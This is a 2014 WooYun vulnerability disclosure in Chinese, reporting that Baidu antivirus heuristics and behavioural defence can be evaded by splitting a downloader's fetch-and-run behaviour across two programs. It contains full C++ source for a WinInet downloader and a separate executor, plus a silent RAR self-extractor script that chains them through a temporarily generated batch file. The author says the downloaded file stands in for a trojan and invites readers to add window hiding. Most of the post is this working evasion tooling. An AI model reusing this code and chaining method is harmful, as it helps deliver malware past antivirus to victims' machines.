当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058905

漏洞标题:同时绕过百度启发式引擎和主动防御

相关厂商:百度

漏洞作者: 成王败寇

提交时间:2014-04-29 18:23

修复时间:2014-07-25 18:24

公开时间:2014-07-25 18:24

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-29: 细节已通知厂商并且等待厂商处理中
2014-04-30: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-06-24: 细节向核心白帽子及相关领域专家公开
2014-07-04: 细节向普通白帽子公开
2014-07-14: 细节向实习白帽子公开
2014-07-25: 细节向公众公开

简要描述:

启发式查杀和主动防御在不同的两个逻辑层面进行系统防护,但都依靠对恶意软件的恶意行为来进行查杀,如果恶意行为被分散在不同的逻辑层面上,将会令这两大防御功能同时失效!

详细说明:

XP停维护了,好多杀软嚷嚷着接微软的班,好吧,现在流行调戏杀毒软件,俺也来凑个热闹,其实以前给公司卖命的时候有N多调戏杀软的东西不能公布分享,现在俺就一个人,也想来乌云添砖加瓦!
百度杀毒有4大引擎,卡巴斯基杀毒引擎、云查杀引擎、极光引擎和智能修复引擎,其实新产生的病毒只需要过掉卡巴斯基杀毒引擎和极光引擎就够了。这其实曾经是以前公布过的一个思路,现在不少杀软改正了,但并不彻底。
现在拿下载者为例,下载者的恶意特征就是“下载+执行”,大多数启发式杀毒只要看到山寨软件有这个行为就会报毒了,但如果我们把“下载+执行”分成两个文件会怎么样?DownFile.exe负责下载,ExecFile.exe负责把下载下来的东西跑起来,单独看两个文件都是没有恶意行为的,但它们配合到一起,嘿嘿。。。。。你懂的,两个文件配合的方式很多,利用bat、vbs、压缩包、系统回调等等想怎么玩都行。
下面是实验过程细节:
两个简单的测试程序代码:

// DownFile.cpp : 负责下载一个exe程序,这里我用winrar的安装包替代,
//文件很大演示的时候能看清步骤,如果是马的话瞬间就结束了。
#include "stdafx.h"
#include "Wininet.h"
#pragma comment(lib, "Wininet")
#define BUFLEN 16384
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
ULONG dwFlags;
InternetGetConnectedState(&dwFlags,0);

HINTERNET hOpen;
if (dwFlags & INTERNET_CONNECTION_PROXY)
{
hOpen = InternetOpen("Microsoft Internet Explorer",INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY,NULL,NULL,0);
}
else
{
hOpen = InternetOpen("Microsoft Internet Explorer",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
}
if (!hOpen)
{
MessageBoxA(NULL,NULL,"Internet 连接错误",MB_OK);
return -1;
}

ULONG dwSize;
CHAR szHead[] = "Accept: */* \r\n\r\n";


VOID * szTemp[BUFLEN];
memset(szTemp,0,BUFLEN);
HINTERNET hConnect;
if (!(hConnect = InternetOpenUrlA(hOpen,"http://www.winrar.com.cn/download/wrar501sc.exe",szHead,lstrlenA(szHead),INTERNET_FLAG_DONT_CACHE|INTERNET_FLAG_PRAGMA_NOCACHE
|INTERNET_FLAG_RELOAD,0)))
{
MessageBoxA(NULL,NULL,"URL出错",MB_OK);
return -1;
}


HANDLE hFile = CreateFileA("whatsthis",GENERIC_READ|GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);

if (hFile == NULL)
{
MessageBoxA(NULL,NULL,"创建文件出错",MB_OK);
return -1;
}
ULONG dwByteToRead = 0;
ULONG dwSizeOfRq = 4;
ULONG dwBytes = 0;

if (!HttpQueryInfo(hConnect,HTTP_QUERY_CONTENT_LENGTH|HTTP_QUERY_FLAG_NUMBER,(LPVOID)&dwByteToRead,&dwSizeOfRq,NULL))
{
dwByteToRead=0;
}

do
{
if (!InternetReadFile(hConnect,szTemp,BUFLEN,&dwSize))
{
MessageBoxA(NULL,NULL,"读网络文件出错",MB_OK);
CloseHandle(hFile);
return -1;
}

if (dwSize == 0)//下载完就退出循环
{
break;
}
else
{
DWORD lpNumberOfBytesWritten=0;
if (!WriteFile(hFile,szTemp,dwSize,&lpNumberOfBytesWritten,NULL))
{
MessageBoxA(NULL,NULL,"写文件出错",MB_OK);
}
dwBytes+=dwSize;
}

} while (TRUE);
CloseHandle(hFile);
//普通下载者会想办法在一个程序里执行这一步骤
//WinExec("c:\\whatsthis",SW_SHOW);
return 0;
}
// ExecFile.cpp :负责运行下载下来的“马”
//
#include "stdafx.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
WinExec(".\\whatsthis",SW_SHOW);
return 0;
}


让两个程序配合起来这里我用的是rar自解压包的方式,懒得写程序了,rar是好东西!简单有效!自解压脚本命令如下:
Setup=cmd /c echo DownFile.exe>e.bat
Setup=cmd /c echo ExecFile.exe>>e.bat
Setup=cmd /c e.bat
TempMode
Silent=1
上面这段解释一下,e.bat负责让两个文件配合起来,这里使用临时生成的方式,如果直接使用写好的e.bat还是会报,临时生成就不报了,这是很关键的一个步骤,这样杀软就无法将2个文件之间建立起联系,这也同样是利用了杀软的逻辑处理不当的问题。
OK,压缩完包后拿去测试,整个过程百度杀毒都很沉默。。。。。。
其实不光百度,瑞星、金山等好多都有这问题,这是个普遍现象,360这次倒是表现不错,文件还没运行就给报毒了,下次想办法过掉360。
剩下的一些细节,例如隐藏黑窗体、减小体积就靠大家自由发挥了。

漏洞证明:

注意百度杀毒版本号为测试当天的最新版本,红色圆圈为生成好的下载者压缩包。

1.jpg


运行压缩包下载者后,测试用的rar安装包被自动下载并且成功执行,整个过程百度杀毒没有任何提示!

2.jpg


程序源码,演示程序,视频等资源联系我都可以公开提供。

修复方案:

建立多个文件之间关联分析模型,切断配合路径。

版权声明:转载请注明来源 成王败寇@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-07-25 18:24

厂商回复:

对于下载的可执行文件 , 下载保护引擎,会检测是否为恶意程序,如果为恶意程序,则为有弹窗或者其他处理行为。如果没有检查出来,当这个程序运行的时候,如果其行为触发主防的规则,主防再会弹窗或者进行其他处理。故认为此处并不属于绕过。

最新状态:

暂无